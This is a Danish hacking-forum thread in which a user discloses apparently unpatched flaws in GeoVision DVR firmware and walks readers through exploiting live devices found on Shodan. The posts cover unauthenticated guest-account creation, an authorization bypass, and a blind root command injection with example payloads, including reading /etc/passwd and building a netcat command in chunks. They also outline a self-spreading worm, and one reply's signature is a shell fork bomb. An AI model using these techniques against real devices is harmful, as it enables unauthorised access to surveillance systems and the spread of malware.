GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
|
18-03-2016, 21:06
(Denne besked var sidst ændret: 30-03-2016, 19:42 af MalcolmXI.)
|
|||
|
|||
GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Eh... Skulle bare have været et par linjer.... Men når man først kommer i gang med at skrive....
Måske lidt i overkanten, men tag hvad i kan bruge. Skal nok lige få kigget efter fejl og rettelser. OBS: Jeg har ikke kunne finde disse sårbarheder på nettet, og vil derfor betegne dem som 0-days. Hvis andet er tilfældet, og i finder dem andetsteds, må i godt lige skrive det så jeg kan tage en kigger. TL;DR: Søg på "geovision" på Shodan og vælg en IP, brug vGeoGuest.htm til at tilføje en gæstebruger, login med guest/guest i Internet Explorer. Tænkte jeg lige så godt kunne dele denne, da det ikke decideret var det jeg ledte efter. Egentlig ledte jeg efter en DoS tilstand, som jeg fandt ved lidt manuel fuzzing i en ældre version af GeoVisions firmware, for godt 2 år siden. Denne fejl kunne jo være en form for overflow, som kunne være spændende at kigge på, da man ved 300+ tegns requests, mister forbindelse til serveren, der herefter ikke kan nås ved brug af ping. Det kunne tyde på at hardwaren eller webserveren crasher eller halter, men betyder stadig ikke at vi har at gøre med en sårbarhed der kan udnyttes til andet end DoS. Dengang skannede jeg en lang række danske IP'er, og lagde mærke til, at GeoVision havde en koncentreret andel af de fundne overvågningsløsninger, sammen med et par andre mærker fra andre producenter. Men eftersom de har lidt forskellige firmware-versioner til deres DVRs/NVRs, valgte jeg lige hurtigt at tage et kig på en af deres nyeste, og her fandt jeg et par hurtige fejl, som jeg lige så godt kan dele. Lige hurtigt om mit setup/miljø: - Kali 2, som bruges til mere eller mindre det hele. Køres fra USB(2.0! - Langsomt). - Firmware hentes, og der køres strings, file, hexdump osv. for at fastslå arkitektur, dynamic/static linking osv. - Binwalk og Firmware Modification Toolkit, til analyse og udpakning af filsystem, bootloader, kernel, webserver og hvad der ellers hører til. Har dog et problem med FMK i Kali 2, så jeg kan ikke kompilere og køre extract-firmware. Har brugt tid nok på det, så gider ikke mere, så længe uncramfs og unsquashfs stadig virker. Qemu system og static user sammen med Change root, til at emulere filsystemet og webserveren. GDB(cross-compiled eller Qemus indbyggede) og IDA Pro eller GDB multi-arch til at debugge. Og nej. jeg fatter ikke hvad jeg kigger på i 90% af tilfældende :P Men nu er det ikke en vejledning til firmware analyse og sårbarhedsopdagelse, så vi må hellere hoppe videre. Der er massere af engelske vejledninger til lige netop det, men det kan være jeg laver en i fremtiden, hvis jeg finder noget ekstra spændende engang. Det første jeg lagde mærke til under den grundlæggende undersøgelse, var at den kompilerede, eksekverbare fil UserSetting.cgi, ikke tjekker om vi har autoriseret, og har en tilhørende cookie. Dette kan vi bruge til at oprette/fjerne en gæstebruger, ved hjælp af en simpel form. Gæstebrugeren vil have guest/guest som henholdsvis brugernavn og kodeord. Følgende script kan bruges til dette: vGeoGuest.htm PHP kode: <!DOCTYPE html> Jeg har valgt at bruge Javascript til at håndtere formens action, netop for at undgå, at skulle bruge en server til at køre f. eks. PHP. Dette script skal bare køres i browseren. Vær opmærksom på, at du skal bruge Internet Explorer for at bruge kameraerne, men kan oprette/fjerne brugere med andre browsere(Har selv brugt Firefox). Når vi logger ind vil vi få en meget begrænset menu, da det er administratorens, og ikke gæstens opgave at opsætte diverse indstillinger. Sjovt nok er næste kritiske fejl, at vi ved at indtaste URL'erne på diverse scripts til opsætning, bliver godkendt med vores gæstebruger, og er i stand til at ændre indstillingerne. Eftersom vi har adgang til hele webserveren, har vi også adgang til filnavnene. Dette firmwares HTM filer: Spoiler (Click to View) https://www.shodan.io/search?query=geovision Google Dorks giver kun en ubetydelig mængde. Hverken Google eller Shodan viser den reelle mængde enheder, så jeg har lavet et lille NSE script til Nmap, som bruger <title> tagget i kildekoden til at finde frem til de sårbare fimwares, samt response-headers til at finde en anden type firmware, som er den type jeg vil kigge på næste gang. De nyere versioner bruger tHTTPd som server-software, hvorimod de ældre versioner bruger GeoHttpServer. Eller måske bruges de til forskelligt hardware? hmm? Stilen af de forskellige firmwares kan ses i manualer for versionerne 8.12-8.x og de individuelle kameraer og videokort. vGeo.nse Kode: -- Head -- De to nyere firmwares jeg har testet har haft "GeoVision Inc. - *" i titlen, så det er den string der søges efter. Samt login-formen ser således ud: De firmwares der bruger GeoHttpServer er desværre ikke sårbare over for ovenstående fejl, og efter hvad jeg kan se i manualerne, skal de konfigureres med en klient på en Windows-computer. Derfor kan det selvfølgelig stadig ske, at der findes andre fejl (mon ikke). Lidt forskellig klient-software kan findes på nedenstående ftp: http://ftp.geovision.tw/ftp/Eason/FTP.txt Lige til sidst, så tillod jeg mig for sjovt at køre passwd-filen en tur igennem John, og uden hverken GPU eller en specielt stor password-liste, lykkedes det John at komme frem til følgende root-password(Ingen brug af shadow): Citer:Using default input encoding: UTF-8 Det ser ikke ud til at være blevet delt før, og ved en simpel Google-søgning er der heller ikke meget at hente udover Taipei og Taipei 101. Dog ikke noget password-relateret. Nu har jeg ikke tænkt mig at kigge nærmere på lige netop denne firmware, da jeg for at finde den rigtige version, er nødsaget til at - manuelt(Captcha - kunne måske bruge en solver), udpakke og greppe efter server-software samt en specifikt titel. Det er slet ikke besværligt, men tager sgu lidt tid. Root-passwordet kan i realiteten bruges til hvis man finder yderligere en sårbarhed, såsom noget command injection, telnet-aktivering, code execution osv. som ikke allerede kører som root. Et sjovt eksempel ville være at inficere den software der står for installation af de drivers der skal bruges for at håndtere forbindelsen til selve kameraerne. Herefter kan man tvinge endnu en installation, og få adgang til 'overvågerens' PC. Det er måske lidt overkill, men det er en lidt 'sej' måde at opnå pivoting/lateral movement på. |
|||
18-03-2016, 22:22
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Interessant læsning! :-)
:(){ :|: & };: |
|||
18-03-2016, 23:07
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Bestemt interesseret. Er glad for din måde du beskrivet din fremgangsmåde. Thanks for sharing!
Don't learn to hack, hack to learn
|
|||
18-03-2016, 23:27
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Meget interessant læsning. Godt detaljeret og meget spændende at være den første til at skrive sådan noget.
Ikke dårligt!
yolo
|
|||
19-03-2016, 12:33
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Godt arbejde. :) Jeg har ikke nærlæst det hele, men det er altid spændende at se andres fremgangsmåder.
Hvad synes du om Lua?
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick |
|||
20-03-2016, 01:10
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Nice found. :) Det var en hyggelig læsning, jeg fik her.
Keep it up! |
|||
30-03-2016, 19:41
(Denne besked var sidst ændret: 03-04-2016, 18:02 af MalcolmXI.)
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
(I må sige til hvis der skal rettes. Jeg var ikke så fandens god til at kigge efter sidste gang) :P
Desuden ser det forfærdeligt ud, så jeg har brugt lidt formatting til dem der ønsker bare at skimte. Jeg har prøvet at give lidt ekstra information, uden at smide det Helt over i vejledning kategorien. For helvede. Troede da jeg havde svaret for længst. Lol.. (18-03-2016, 22:22)bredsaal Skrev: Interessant læsning! (18-03-2016, 23:07)Spagnum Skrev: Bestemt interesseret. Er glad for din måde du beskrivet din fremgangsmåde. Thanks for sharing! (18-03-2016, 23:27)Ash Skrev: Meget interessant læsning. Godt detaljeret og meget spændende at være den første til at skrive sådan noget. (20-03-2016, 01:10)ilovelearning0 Skrev: Nice found. :) Det var en hyggelig læsning, jeg fik her. Jo tak ;) (19-03-2016, 12:33)iTick Skrev: Godt arbejde. :) Jeg har ikke nærlæst det hele, men det er altid spændende at se andres fremgangsmåder. Nu har jeg kun brugt det i begrænset omfang, men det er jo ikke så fandens fjernt, hvis man allerede har lidt erfaring fra andre sprog. Fik lidt ekstra tid her I påsken, til at tage et ekstra kig firmwaren, da jeg alligevel havde den liggende. Unauthorized Remote Blind OS Root Command Injection Lyder sgu bedst på engelsk. Eh. FilterSetting.htm bruges til at tillade eller nægte adgang, ved hjælp af IPRules. Formen sender IP’en til FilterSetting.cgi, som herefter tager sig af at parse vores input, og køre kommandoen ved hjælp af af et kald til system(). Dette kan ses i IDA Pro(Eller hvad man nu ellers foretrækker), så vi uden at emulere systemet fuldt ud, kan se hvordan kommandoen kommer til at se ud før den køres. En mulig kommando er her: /usr/local/bin/iptables -A INPUT -s IP -j ACCEPT/DROP Her har vi kontrol over IP'en såvel som -j valgmuligheden (Enten ACCEPT eller DROP). I det script jeg har modificeret, og som i kan se længere nede, har jeg valgt kun at manipulere IP-feltet, og automatisk anvende ACCEPT, så vi ikke på en eller anden utænkelig måde kommer til at blokere adgang til enheden ved f. eks. en fejlslået Netcat eller Telnet kommando. Her ses at & og ; bruges som delimiters, men faktisk ikke fjernes fra vores input, hvilket tillader os at sammenkæde kommandoer: Jeg er dog i tvivl om hvorvidt eksemplet her kræver at begge er tilstede, så vi altså kører kommandoen i baggrunden, samtidig med at vi afslutter den? Jeg er absolut ikke stærk i reversing. Og ARM gør det bare værre. :/ FilterSetting.cgi tjekker ikke for cookies, sessions eller andet for at validere at vi er godkendt til at køre kommandoerne, så jeg tror faktisk at alle indstillinger kan ændres i de forskellige HTML forms uden at vi er logget ind. ssi.cgi håndterer scripts og miljøvariabler, og er til min forståelse det eneste sted der tjekkes for godkendte cookies. En anden lille sjov ting jeg fandt, var at vores input faktisk bliver valideret client-side ved hjælp af javascript, så ved at fjerne dette script samt funktions-kald i alt sin enkelthed, er vi i stand til at sende specialtegn som ellers ikke er tiltænkt en IP-adresse, såsom /, &&, ; osv. En ting jeg vil gøre opmærksom på, er dog at vi ikke er i stand til at sende mere end 33 tegn. Eller jo, de kan sendes til vores cgi-script, men alt over 33 tegn bliver simpelthen ignoreret. Jeg har dog ikke kigget efter hvor denne buffers længde bestemmes. For at køre vores kommando, er vi nødsaget til at afslutte vores oprindelige IPRules kommando. På samme måde afslutter vi vores ’ondsindede’ kommando, for ikke at få implikationer med den resterende del af den oprindelige kommando. ___________________________________________________________________________________________________________________________ Her er lige lidt meget basal information, til de få der måske ikke allerede er bekendt med det. ; - Sammenkæder kommandoer, og kører dem én efter én. Det er her ligegyldigt om kommandoen fejler eller lykkes. Citer:Whoami; pwd; echo hej; Vil give output i stil med: Citer:Root & - Kører kommandoen i baggrunden, og vores shell går automatisk ud fra, at den lykkes. Citer:Whoami & Køres i baggrunden og giver ingen output. && og || - Disse kender vi jo fra programmering og scripting. Det er jo i stil med if/else statements. Ved && køres den efterfølgende kommando Kun, hvis kommandoen før den, også lykkes. Citer:Whoamu && echo hej Første kommando fejler da den ikke er gyldig, så vi får intet output. Citer:Whoami && echo hej Whoami er gyldig, og resulterer I root, og derved køres den næste kommando også, så outputtet giver root og hej. Ved || virker det omvendt, så den efterfølgende kommando Kun køres, hvis kommandoen før den fejler. Citer:Whoamu && echo hej Vil her outputte hej | - Bruges til at pipe en kommandos output ud i en ny kommando. > Bruges til at gemme vores output i en fil. Her vil indholdet af filen erstattes af hvad end vi nu har af output. >> Bruges til at appende output sidst i en fil. Her vil det oprindelige indhold beholdes, og det nye output vil skrives bag det. http://www.gnu.org/software/bash/manual/...html#Lists ___________________________________________________________________________________________________________________________ Vil vil udelukkende benytte os af ;(semikolon). Da det i de fleste tilfælde vil være nok til hvad end vi har tænkt os. Hvis vi antager at vi kun har 33 tegn at gøre godt med, samtidig med at forrige samt næste kommando skal afsluttes, har vi altså 31 tegn at gøre godt med. Et eksempel kunne være følgende: Citer:;echo whoami > tt;echo ls >> tt; Dette er 32 tegn, og vil derfor ikke volde problemer. Hvis vi derimod ændrer vores output-fil til ttt, vil vi have 34 tegn, hvilket vil resultere i, at det afsluttende tegn (;) simpelthen ignoreres, hvilket resulterer i en ukomplet kommando i stil med : Citer:;echo whoami > ttt;echo ls >> ttt –j ….. Her vil whoami kommandoen lykkes, men ls vil enten fejle, eller gemme sit output til en forkert fil(ttt –j .....) Grunden til at jeg echo’er kommandoernes output, er at vores injection er blind. Selv hvis vi er logget ind, har vi ikke adgang til outputtet vi får ved f. eks. At køre whoami. Ved at gemme vores output i en ny fil, som vi automatisk har tilladelse til, da vi har root og eskalerede rettigheder til filsystemet, kan vi overkomme dette. På samme måde kan vi opnå længere kommandoer, ved simpelthen at echo dele under 33 tegn en efter en, hvorefter vi kan køre denne ved hjælp af bash(sh og bash er begge symlinks til Busybox ash) som vist her: Citer:;echo -n /bin/busybox > tt; - 27 tegn! (Ingen ny linje)Echo vil automatisk indsætte et newline tegn, men dette kan undgås ved hjælp af –n. Nu skulle tt gerne indeholde: Citer:/bin/busybox nc 127.0.0.1 1337 Og denne kan nu køres på forskellige måder, da det i og for sig bare er en tekstfil men en kommando, og derfor kan håndteres som en bash-fil: Citer:;/bin/sh tt; Som en lille test, ses her resultatet af følgende kommando: Citer:;cat /etc/passwd > to; Vi kan selv bestemme hvor på filsystemet filen skal gemmes, men ved ikke at specificere en full path, vil den gemmes under /www. Jeg har før haft problemer med at opnå fuld adgang til systemer der kører meget begrænsede versioner af Busybox. Vi snakker byte-by-byte echoing af shell code sammen med nedarvning af specifikke rettigheder(x) ved kopiering af eksekverbare filer til en mappe med skriverettigheder, som f. eks. en tmp mappe e.l. Dette problem har vi så Absolut ikke her: Vi kan køre Netcat, Telnet(d), FTP*, Wget osv. Vi har altså fuld adgang til systemet, og kan infiltrere, eksfiltrere og køre det kode der passer os, så længe det er kompileret til ARM(Little endian). Her er lige et billede jeg tog, for at vise hvordan kommandoerne ikke er andet end symbolic links til Busybox, for at vise at Netcat virker og ikke bare er en decoy, og lige for at vise et af de par init scripts der køres ved boot af systemet. Jeg har igen smedet lidt sammen, som kan bruges i en browser, frem for at benytte en server, Python, Perl osv. Hvis i keder jer kan i vel hurtigt stable det på benene. vGeoComm.htm PHP kode: <!DOCTYPE html> Kommandoens text-field er begrænset til 33 tegn, men ellers virker det meget i stil med det sidste. En lille ting i skal gøres opmærksomme på er dog, at vi kun er tilladt 4 regler i FilterSetting.htm/.cgi, og alle nye kommandoer herefter vil ignoreres. Derfor har jeg valgt at tilføje en sletteknap. Denne knap sletter den første regel i listen(dwSelIndex 0), hvorefter dwSelIndex 1 overtager dens plads, og kan slettes. Det har jeg valgt at gøre, da vi ellers kan risikere at slette kommandoernes input ved f. eks. echo kommandoer. Hvis vi tager eksemplet fra før, ser det således ud: Citer:;echo -n /bin/busybox > tt; Hvis jeg nu sletter den tredje regel (;echo ” 1337” >> tt;), vil ’ 1337’-teksten også blive fjernet fra tt-filen. Ved at gøre det omvendt, beholder vi teksten i filen, og skaber ny plads til yderligere regler. Hvorfor fanden det er sådan, har jeg absolut ingen idé om. Det ser ud til, at tHTTPd-serveren køres på deres enheder som embedded software, hvorimod GeoHttpServer er en del af deres suite til Windows, som håndterer kammeraer. GeoHttpServer er en ældre sag, og der er fundet fejl helt tilbage til 2003, men det er også et Utrolig udbredt stykke software, så jeg håber lidt på at få tid til at kigge på det, selvom det umiddelbart ser ud til at være en hærdet fætter, men betydeligt færre angrebsvektorer. Det er også derfor jeg har valgt at springe en lille ting over. Jeg ville gerne vise jer, hvordan vi kan udnytte denne fejl til at lave en orm der: - Skanner IP'er for port 80 og ssi.cgi - Udnytter vores Command Injection fejl og Wget til at uploade sig selv som eksekverbar ARM fil - Kører filen ved boot - og med det samme selvfølgelig Det kræver en enkelt manuel inficering. Resten klares automatisk. |
|||
30-03-2016, 19:55
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
MalcolmXI, jeg synes sq det er et godt stykke arbejde du har lavet der.
Godt at se, nogen her inde, laver lidt kvali sikkerhedsresearch. :) Og super fedt, du har været skarp nok til at finde noget. Og endnu federe, at du deler det. :) Har du bestilt et par CVE numre? :D Inden andre tager æren for det?
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick |
|||
01-04-2016, 22:11
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
Har fundet rigtig mange sjove ting i årenes løb. Har bare aldrig rigtig følt for a dele det, når nu jeg kan holde det for mig selv. :)
Det må jeg jo se om jeg kan lave om på. Og nej, har aldrig selv skaffet CVE'er til de fejl jeg finder, så hvis folk har lyst, så må de med glæde tage æren for det. Først til mølle som man siger. |
|||
01-04-2016, 22:53
|
|||
|
|||
RE: GeoVision DVR Uautoriseret Tilføjelse af Gæstebruger
(01-04-2016, 22:11)MalcolmXI Skrev: Har fundet rigtig mange sjove ting i årenes løb. Har bare aldrig rigtig følt for a dele det, når nu jeg kan holde det for mig selv. :) Ok. :) Det er vel også mere udfordringen i at finde dem, der giver noget til en selv. :) Så jeg tager sq hatten af. :) Det bliver ikke mig der hugger credit for dit guld. :)
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick |
|||
|
User(s) browsing this thread: 2 Gæst(er)